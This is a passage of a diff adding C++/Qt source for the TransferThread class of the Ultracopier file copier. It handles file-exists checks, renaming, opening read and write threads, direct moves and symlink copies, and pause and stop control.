+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("source not exists %1: destination: %2, error: %3").arg(destinationFile.fileName()).arg(destinationFile.fileName()).arg(destinationFile.errorString()));
+ emit errorOnFile(destinationFile,tr("File not found"));
+ return;
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("unable to do real move %1: %2, error: %3").arg(destinationFile.fileName()).arg(destinationFile.fileName()).arg(destinationFile.errorString()));
+ emit errorOnFile(destinationFile,destinationFile.errorString());
+ return;
+ }
+ if(source.absoluteFilePath()==destination.absoluteFilePath())
+ source.setFile(destination.absolutePath()+QDir::separator()+nameForRename);
+ destination.setFile(tempDestination);
+ destination.refresh();
+ }
+ fileExistsAction = FileExists_NotSet;
+ resetExtraVariable();
+ emit internalStartPreOperation();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("destination is: %1").arg(destination.absoluteFilePath()));
+}
+
+void TransferThread::setAlwaysFileExistsAction(const FileExistsAction &action)
+{
+ //ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] action to do always: ")+QString::number(action)));
+ alwaysDoFileExistsAction=action;
+}
+
+void TransferThread::resetExtraVariable()
+{
+ sended_state_preOperationStopped=false;
+ sended_state_readStopped = false;
+ sended_state_writeStopped = false;
+ writeError = false;
+ readError = false;
+ readIsReadyVariable = false;
+ writeIsReadyVariable = false;
+ readIsFinishVariable = false;
+ writeIsFinishVariable = false;
+ readIsClosedVariable = false;
+ writeIsClosedVariable = false;
+ needRemove = false;
+ needSkip = false;
+ retry = false;
+ readIsOpenVariable = false;
+ writeIsOpenVariable = false;
+ readIsOpeningVariable = false;
+ writeIsOpeningVariable = false;
+}
+
+void TransferThread::preOperation()
+{
+ if(transfer_stat!=TransferStat_PreOperation)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] already used, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath());
+ return;
+ }
+ haveStartTime=true;
+ startTransferTime.restart();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start: source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath());
+ needRemove=false;
+ if(isSame())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] is same ")+source.absoluteFilePath()+QStringLiteral(" than ")+destination.absoluteFilePath());
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] after is same"));
+ /*Why this code?
+ if(readError)
+ {
+ readError=false;
+ return;
+ }*/
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] before destination exists"));
+ if(destinationExists())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] destination exists: ")+destination.absoluteFilePath());
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] after destination exists"));
+ /*Why this code?
+ if(readError)
+ {
+ readError=false;
+ return;
+ }*/
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] before keep date"));
+ #ifdef Q_OS_WIN32
+ doTheDateTransfer=!source.isSymLink();
+ #else
+ doTheDateTransfer=true;
+ #endif
+ if(doTheDateTransfer)
+ {
+ if(source.lastModified()<minTime)
+ {
+ if(/*true when the destination have been remove but not the symlink:*/source.isSymLink())
+ doTheDateTransfer=false;
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("the sources is older to copy the time: ")+source.absoluteFilePath()+QStringLiteral(": ")+minTime.toString(QStringLiteral("dd.MM.yyyy hh:mm:ss.zzz"))+QStringLiteral(">=")+source.lastModified().toString(QStringLiteral("dd.MM.yyyy hh:mm:ss.zzz")));
+ doTheDateTransfer=false;
+ if(keepDate)
+ {
+ emit errorOnFile(source,tr("Wrong modification date or unable to get it, you can disable time transfer to do it"));
+ return;
+ }
+ }
+ }
+ else
+ {
+ doTheDateTransfer=readFileDateTime(source);
+ #ifdef Q_OS_MAC
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] read the source time: ")+QString::number(butime.modtime));
+ #endif
+ if(!doTheDateTransfer)
+ {
+ //will have the real error at source open
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] unable to read the source time: ")+source.absoluteFilePath());
+ if(keepDate)
+ {
+ emit errorOnFile(source,tr("Wrong modification date or unable to get it, you can disable time transfer to do it"));
+ return;
+ }
+ }
+ }
+ }
+ if(canBeMovedDirectly())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("need moved directly: %1 to %2").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()));
+ canBeMovedDirectlyVariable=true;
+ readThread.fakeOpen();
+ writeThread.fakeOpen();
+ return;
+ }
+ if(canBeCopiedDirectly())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("need copied directly: %1 to %2").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()));
+ canBeCopiedDirectlyVariable=true;
+ readThread.fakeOpen();
+ writeThread.fakeOpen();
+ return;
+ }
+ tryOpen();
+}
+
+void TransferThread::tryOpen()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start source and destination: ")+source.absoluteFilePath()+QStringLiteral(" and ")+destination.absoluteFilePath());
+ TransferAlgorithm transferAlgorithm=this->transferAlgorithm;
+ if(transferAlgorithm==TransferAlgorithm_Automatic)
+ {
+ #ifdef Q_OS_LINUX
+ if(driveManagement.isSameDrive(destination.absoluteFilePath(),source.absoluteFilePath()))
+ {
+ const QByteArray &type=driveManagement.getDriveType(driveManagement.getDrive(source.absoluteFilePath()));
+ if(type=="nfs" || type=="smb")
+ transferAlgorithm=TransferAlgorithm_Parallel;
+ else
+ transferAlgorithm=TransferAlgorithm_Sequential;
+ }
+ else
+ #endif
+ transferAlgorithm=TransferAlgorithm_Parallel;
+ }
+ if(!readIsOpenVariable)
+ {
+ if(!readIsOpeningVariable)
+ {
+ readError=false;
+ readThread.open(source.absoluteFilePath(),mode);
+ readIsOpeningVariable=true;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("readIsOpeningVariable is true when try open"));
+ emit errorOnFile(source,tr("Internal error: Already opening"));
+ readError=true;
+ return;
+ }
+ }
+ if(!writeIsOpenVariable)
+ {
+ if(!writeIsOpeningVariable)
+ {
+ if(transferAlgorithm==TransferAlgorithm_Sequential)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] transferAlgorithm==TransferAlgorithm_Sequential"));
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] transferAlgorithm==TransferAlgorithm_Parallel"));
+ writeError=false;
+ if(transferAlgorithm==TransferAlgorithm_Sequential)
+ writeThread.open(destination.absoluteFilePath(),size,osBuffer && (!osBufferLimited || (osBufferLimited && size<osBufferLimit)),sequentialBuffer,true);
+ else
+ writeThread.open(destination.absoluteFilePath(),size,osBuffer && (!osBufferLimited || (osBufferLimited && size<osBufferLimit)),parallelBuffer,false);
+ writeIsOpeningVariable=true;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("writeIsOpeningVariable is true when try open"));
+ emit errorOnFile(destination,tr("Internal error: Already opening"));
+ writeError=true;
+ return;
+ }
+ }
+}
+
+bool TransferThread::isSame()
+{
+ //check if source and destination is not the same
+ //source.absoluteFilePath()==destination.absoluteFilePath() not work is source don't exists
+ if(source.absoluteFilePath()==destination.absoluteFilePath())
+ {
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(!source.exists())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start source: ")+source.absoluteFilePath()+QStringLiteral(" not exists"));
+ if(!source.isSymLink())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start source: ")+source.absoluteFilePath()+QStringLiteral(" isSymLink"));
+ if(!destination.isSymLink())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start source: ")+destination.absoluteFilePath()+QStringLiteral(" isSymLink"));
+ #endif
+ if(fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_Skip)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] is same but skip"));
+ transfer_stat=TransferStat_Idle;
+ emit postOperationStopped();
+ //quit
+ return true;
+ }
+ if(checkAlwaysRename())
+ return false;
+ emit fileAlreadyExists(source,destination,true);
+ return true;
+ }
+ return false;
+}
+
+bool TransferThread::destinationExists()
+{
+ //check if destination exists
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("overwrite: %1, alwaysDoFileExistsAction: %2, readError: %3, writeError: %4")
+ .arg(fileExistsAction)
+ .arg(alwaysDoFileExistsAction)
+ .arg(readError)
+ .arg(writeError)
+ );
+ if(alwaysDoFileExistsAction==FileExists_Overwrite || readError || writeError
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ || rsync
+ #endif
+ )
+ return false;
+ bool destinationExists;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] time to first FS access"));
+ destination.refresh();
+ destinationExists=destination.exists();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] finish first FS access"));
+ if(destinationExists)
+ {
+ if(fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_Skip)
+ {
+ transfer_stat=TransferStat_Idle;
+ emit postOperationStopped();
+ //quit
+ return true;
+ }
+ if(checkAlwaysRename())
+ return false;
+ if(source.exists())
+ {
+ if(fileExistsAction==FileExists_OverwriteIfNewer || (fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_OverwriteIfNewer))
+ {
+ if(destination.lastModified()<source.lastModified())
+ return false;
+ else
+ {
+ transfer_stat=TransferStat_Idle;
+ emit postOperationStopped();
+ return true;
+ }
+ }
+ if(fileExistsAction==FileExists_OverwriteIfOlder || (fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_OverwriteIfOlder))
+ {
+ if(destination.lastModified()>source.lastModified())
+ return false;
+ else
+ {
+ transfer_stat=TransferStat_Idle;
+ emit postOperationStopped();
+ return true;
+ }
+ }
+ if(fileExistsAction==FileExists_OverwriteIfNotSame || (fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_OverwriteIfNotSame))
+ {
+ if(destination.lastModified()!=source.lastModified() || destination.size()!=source.size())
+ return false;
+ else
+ {
+ transfer_stat=TransferStat_Idle;
+ emit postOperationStopped();
+ return true;
+ }
+ }
+ }
+ else
+ {
+ if(fileExistsAction!=FileExists_NotSet)
+ {
+ transfer_stat=TransferStat_Idle;
+ emit postOperationStopped();
+ return true;
+ }
+ }
+ if(fileExistsAction==FileExists_NotSet)
+ {
+ emit fileAlreadyExists(source,destination,false);
+ return true;
+ }
+ }
+ return false;
+}
+
+QString TransferThread::resolvedName(const QFileInfo &inode)
+{
+ QString fileName=inode.fileName();
+ if(fileName.isEmpty())
+ {
+ QDir absoluteDir=inode.absoluteDir();
+ fileName=absoluteDir.dirName();
+ if(fileName.isEmpty())
+ {
+ fileName=absoluteDir.cdUp();
+ fileName=absoluteDir.dirName();
+ }
+ }
+ #ifdef Q_OS_WIN32
+ if(fileName.isEmpty())
+ {
+ fileName=inode.absolutePath();
+ fileName.replace(QRegularExpression(QStringLiteral("^([a-zA-Z]+):.*$")),QStringLiteral("\\1"));
+ if(inode.absolutePath().contains(QRegularExpression(QStringLiteral("^[a-zA-Z]+:[/\\\\]?$"))))
+ fileName=tr("Drive %1").arg(fileName);
+ else
+ fileName=tr("Unknown folder");
+ }
+ #else
+ if(fileName.isEmpty())
+ fileName=tr("root");
+ #endif
+ return fileName;
+}
+
+QString TransferThread::getSourcePath() const
+{
+ return source.absoluteFilePath();
+}
+
+QString TransferThread::getDestinationPath() const
+{
+ return destination.absoluteFilePath();
+}
+
+QFileInfo TransferThread::getSourceInode() const
+{
+ return source;
+}
+
+QFileInfo TransferThread::getDestinationInode() const
+{
+ return destination;
+}
+
+Ultracopier::CopyMode TransferThread::getMode() const
+{
+ return mode;
+}
+
+//return true if has been renamed
+bool TransferThread::checkAlwaysRename()
+{
+ if(alwaysDoFileExistsAction==FileExists_Rename)
+ {
+ QFileInfo newDestination=destination;
+ QString fileName=resolvedName(newDestination);
+ QString suffix=QStringLiteral("");
+ QString newFileName;
+ //resolv the suffix
+ if(fileName.contains(renameRegex))
+ {
+ suffix=fileName;
+ suffix.replace(renameRegex,QStringLiteral("\\2"));
+ fileName.replace(renameRegex,QStringLiteral("\\1"));
+ }
+ //resolv the new name
+ int num=1;
+ do
+ {
+ if(num==1)
+ {
+ if(firstRenamingRule.isEmpty())
+ newFileName=tr("%1 - copy").arg(fileName);
+ else
+ {
+ newFileName=firstRenamingRule;
+ newFileName.replace(QStringLiteral("%name%"),fileName);
+ }
+ }
+ else
+ {
+ if(otherRenamingRule.isEmpty())
+ newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
+ else
+ {
+ newFileName=otherRenamingRule;
+ newFileName.replace(QStringLiteral("%name%"),fileName);
+ newFileName.replace(QStringLiteral("%number%"),QString::number(num));
+ }
+ }
+ newDestination.setFile(newDestination.absolutePath()+QDir::separator()+newFileName+suffix);
+ num++;
+ }
+ while(newDestination.exists());
+ if(!renameTheOriginalDestination)
+ destination=newDestination;
+ else
+ {
+ QFile destinationFile(destination.absoluteFilePath());
+ if(!destinationFile.rename(newDestination.absoluteFilePath()))
+ {
+ if(!destinationFile.exists())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("source not exists %1: destination: %2, error: %3").arg(destinationFile.fileName()).arg(destinationFile.fileName()).arg(destinationFile.errorString()));
+ emit errorOnFile(destinationFile,tr("File not found"));
+ readError=true;
+ return true;
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("unable to do real move %1: %2, error: %3").arg(destinationFile.fileName()).arg(destinationFile.fileName()).arg(destinationFile.errorString()));
+ readError=true;
+ emit errorOnFile(destinationFile,destinationFile.errorString());
+ return true;
+ }
+ }
+ return true;
+ }
+ return false;
+}
+
+void TransferThread::tryMoveDirectly()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("need moved directly: %1 to %2").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()));
+
+ sended_state_readStopped = false;
+ sended_state_writeStopped = false;
+ writeError = false;
+ readError = false;
+ readIsFinishVariable = false;
+ writeIsFinishVariable = false;
+ readIsClosedVariable = false;
+ writeIsClosedVariable = false;
+ //move if on same mount point
+ QFile sourceFile(source.absoluteFilePath());
+ QFile destinationFile(destination.absoluteFilePath());
+ #ifndef Q_OS_WIN32
+ if(destinationFile.exists() || destination.isSymLink())
+ {
+ if(!sourceFile.exists() && !source.isSymLink())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+destinationFile.fileName()+QStringLiteral(", source not exists"));
+ readError=true;
+ emit errorOnFile(destination,tr("The source file doesn't exist"));
+ return;
+ }
+ else if(!destinationFile.remove())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+destinationFile.fileName()+QStringLiteral(", error: ")+destinationFile.errorString());
+ readError=true;
+ emit errorOnFile(destination,destinationFile.errorString());
+ return;
+ }
+ }
+ #endif
+ QDir dir(destination.absolutePath());
+ {
+ mkpathTransfer->acquire();
+ if(!dir.exists())
+ dir.mkpath(destination.absolutePath());
+ mkpathTransfer->release();
+ }
+ #ifdef Q_OS_WIN32
+ //if(!sourceFile.copy(destinationFile.fileName()))
+ if(MoveFileEx(
+ reinterpret_cast<const wchar_t*>(sourceFile.fileName().utf16()),
+ reinterpret_cast<const wchar_t*>(destinationFile.fileName().utf16()),
+ MOVEFILE_COPY_ALLOWED|MOVEFILE_REPLACE_EXISTING
+ )==0)
+ #else
+ if(!sourceFile.rename(destinationFile.fileName()))
+ #endif
+ {
+ readError=true;
+ if(!sourceFile.exists() && !source.isSymLink())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("source not exists %1: destination: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()));
+ emit errorOnFile(sourceFile,tr("File not found"));
+ return;
+ }
+ else if(!dir.exists())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("destination folder not exists %1: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()));
+ emit errorOnFile(destination.absolutePath(),tr("Unable to do the folder"));
+ return;
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("unable to do real move %1: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()));
+ emit errorOnFile(sourceFile,sourceFile.errorString());
+ return;
+ }
+ readThread.fakeReadIsStarted();
+ writeThread.fakeWriteIsStarted();
+ readThread.fakeReadIsStopped();
+ writeThread.fakeWriteIsStopped();
+}
+
+void TransferThread::tryCopyDirectly()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("need copied directly: %1 to %2").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()));
+
+ sended_state_readStopped = false;
+ sended_state_writeStopped = false;
+ writeError = false;
+ readError = false;
+ readIsFinishVariable = false;
+ writeIsFinishVariable = false;
+ readIsClosedVariable = false;
+ writeIsClosedVariable = false;
+ //move if on same mount point
+ QFile sourceFile(source.absoluteFilePath());
+ QFile destinationFile(destination.absoluteFilePath());
+ #ifndef Q_OS_WIN32
+ if(destinationFile.exists() || destination.isSymLink())
+ {
+ if(!sourceFile.exists() && !source.isSymLink())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+destinationFile.fileName()+QStringLiteral(", source not exists"));
+ readError=true;
+ emit errorOnFile(destination,tr("The source doesn't exist"));
+ return;
+ }
+ else if(!destinationFile.remove())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+destinationFile.fileName()+QStringLiteral(", error: ")+destinationFile.errorString());
+ readError=true;
+ emit errorOnFile(destination,destinationFile.errorString());
+ return;
+ }
+ }
+ #endif
+ QDir dir(destination.absolutePath());
+ {
+ mkpathTransfer->acquire();
+ if(!dir.exists())
+ dir.mkpath(destination.absolutePath());
+ mkpathTransfer->release();
+ }
+ /** on windows, symLink is normal file, can be copied
+ * on unix not, should be created **/
+ #ifdef Q_OS_WIN32
+ //if(!sourceFile.copy(destinationFile.fileName()))
+ if(CopyFileEx(
+ reinterpret_cast<const wchar_t*>(sourceFile.fileName().utf16()),
+ reinterpret_cast<const wchar_t*>(destinationFile.fileName().utf16()),
+ NULL,
+ NULL,
+ FALSE,
+ 0
+ )==0)
+ #else
+ if(!QFile::link(sourceFile.symLinkTarget(),destinationFile.fileName()))
+ #endif
+ {
+ readError=true;
+ if(!sourceFile.exists() && !source.isSymLink())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("source not exists %1 -> %4: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()).arg(sourceFile.symLinkTarget()));
+ emit errorOnFile(sourceFile,tr("The source file doesn't exist"));
+ return;
+ }
+ else if(destinationFile.exists() || destination.isSymLink())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("destination already exists %1 -> %4: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()).arg(sourceFile.symLinkTarget()));
+ emit errorOnFile(sourceFile,tr("Another file exists at same place"));
+ return;
+ }
+ else if(!dir.exists())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("destination folder not exists %1 -> %4: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()).arg(sourceFile.symLinkTarget()));
+ emit errorOnFile(sourceFile,tr("Unable to do the folder"));
+ return;
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("unable to do sym link copy %1 -> %4: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()).arg(sourceFile.symLinkTarget()));
+ emit errorOnFile(sourceFile,sourceFile.errorString());
+ return;
+ }
+ readThread.fakeReadIsStarted();
+ writeThread.fakeWriteIsStarted();
+ readThread.fakeReadIsStopped();
+ writeThread.fakeWriteIsStopped();
+}
+
+bool TransferThread::canBeMovedDirectly() const
+{
+ if(mode!=Ultracopier::Move)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("mode!=Ultracopier::Move"));
+ return false;
+ }
+ return source.isSymLink() || driveManagement.isSameDrive(destination.absoluteFilePath(),source.absoluteFilePath());
+}
+
+bool TransferThread::canBeCopiedDirectly() const
+{
+ return source.isSymLink();
+}
+
+void TransferThread::readIsReady()
+{
+ if(readIsReadyVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ readIsReadyVariable=true;
+ readIsOpenVariable=true;
+ readIsClosedVariable=false;
+ readIsOpeningVariable=false;
+ ifCanStartTransfer();
+}
+
+void TransferThread::ifCanStartTransfer()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] readIsReadyVariable: ")+QString::number(readIsReadyVariable)+QStringLiteral(", writeIsReadyVariable: ")+QString::number(writeIsReadyVariable));
+ if(readIsReadyVariable && writeIsReadyVariable)
+ {
+ transfer_stat=TransferStat_WaitForTheTransfer;
+ sended_state_readStopped = false;
+ sended_state_writeStopped = false;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stat=WaitForTheTransfer"));
+ if(!sended_state_preOperationStopped)
+ {
+ sended_state_preOperationStopped=true;
+ emit preOperationStopped();
+ }
+ if(canStartTransfer)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stat=Transfer, ")+QStringLiteral("canBeMovedDirectlyVariable: %1, canBeCopiedDirectlyVariable: %2").arg(canBeMovedDirectlyVariable).arg(canBeCopiedDirectlyVariable));
+ transfer_stat=TransferStat_Transfer;
+ if(canBeMovedDirectlyVariable)
+ tryMoveDirectly();
+ else if(canBeCopiedDirectlyVariable)
+ tryCopyDirectly();
+ else
+ {
+ needRemove=deletePartiallyTransferredFiles;
+ readThread.startRead();
+ }
+ emit pushStat(transfer_stat,transferId);
+ }
+ //else
+ //emit pushStat(stat,transferId);
+ }
+}
+
+void TransferThread::writeIsReady()
+{
+ if(writeIsReadyVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ writeIsReadyVariable=true;
+ writeIsOpenVariable=true;
+ writeIsClosedVariable=false;
+ writeIsOpeningVariable=false;
+ ifCanStartTransfer();
+}
+
+
+//set the copy info and options before runing
+void TransferThread::setRightTransfer(const bool doRightTransfer)
+{
+ this->doRightTransfer=doRightTransfer;
+}
+
+//set keep date
+void TransferThread::setKeepDate(const bool keepDate)
+{
+ this->keepDate=keepDate;
+}
+
+#ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+//set the current max speed in KB/s
+void TransferThread::setMultiForBigSpeed(const int &multiForBigSpeed)
+{
+ readThread.setMultiForBigSpeed(multiForBigSpeed);
+ writeThread.setMultiForBigSpeed(multiForBigSpeed);
+}
+#endif
+
+//set block size in Bytes
+bool TransferThread::setBlockSize(const unsigned int blockSize)
+{
+ bool read=readThread.setBlockSize(blockSize);
+ bool write=writeThread.setBlockSize(blockSize);
+ return (read && write);
+}
+
+//pause the copy
+void TransferThread::pause()
+{
+ //only pause/resume during the transfer of file data
+ //from transfer_stat!=TransferStat_Idle because it resume at wrong order
+ if(transfer_stat!=TransferStat_Transfer && transfer_stat!=TransferStat_PostTransfer && transfer_stat!=TransferStat_Checksum)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] wrong stat to put in pause"));
+ return;
+ }
+ haveStartTime=false;
+ readThread.pause();
+ writeThread.pause();
+}
+
+//resume the copy
+void TransferThread::resume()
+{
+ //only pause/resume during the transfer of file data
+ //from transfer_stat!=TransferStat_Idle because it resume at wrong order
+ if(transfer_stat!=TransferStat_Transfer && transfer_stat!=TransferStat_PostTransfer && transfer_stat!=TransferStat_Checksum)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] wrong stat to put in pause"));
+ return;
+ }
+ readThread.resume();
+ writeThread.resume();
+}
+
+//stop the current copy
+void TransferThread::stop()
+{
+ stopIt=true;
+ haveStartTime=false;
+ if(transfer_stat==TransferStat_Idle)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("transfer_stat==TransferStat_Idle"));
+ return;
+ }
+ if(remainSourceOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("remainSourceOpen()"));
+ readThread.stop();
+ }
+ if(remainDestinationOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("remainDestinationOpen()"));
+ writeThread.stop();
+ }
+ if(!remainFileOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("transfer_stat==TransferStat_Idle"));
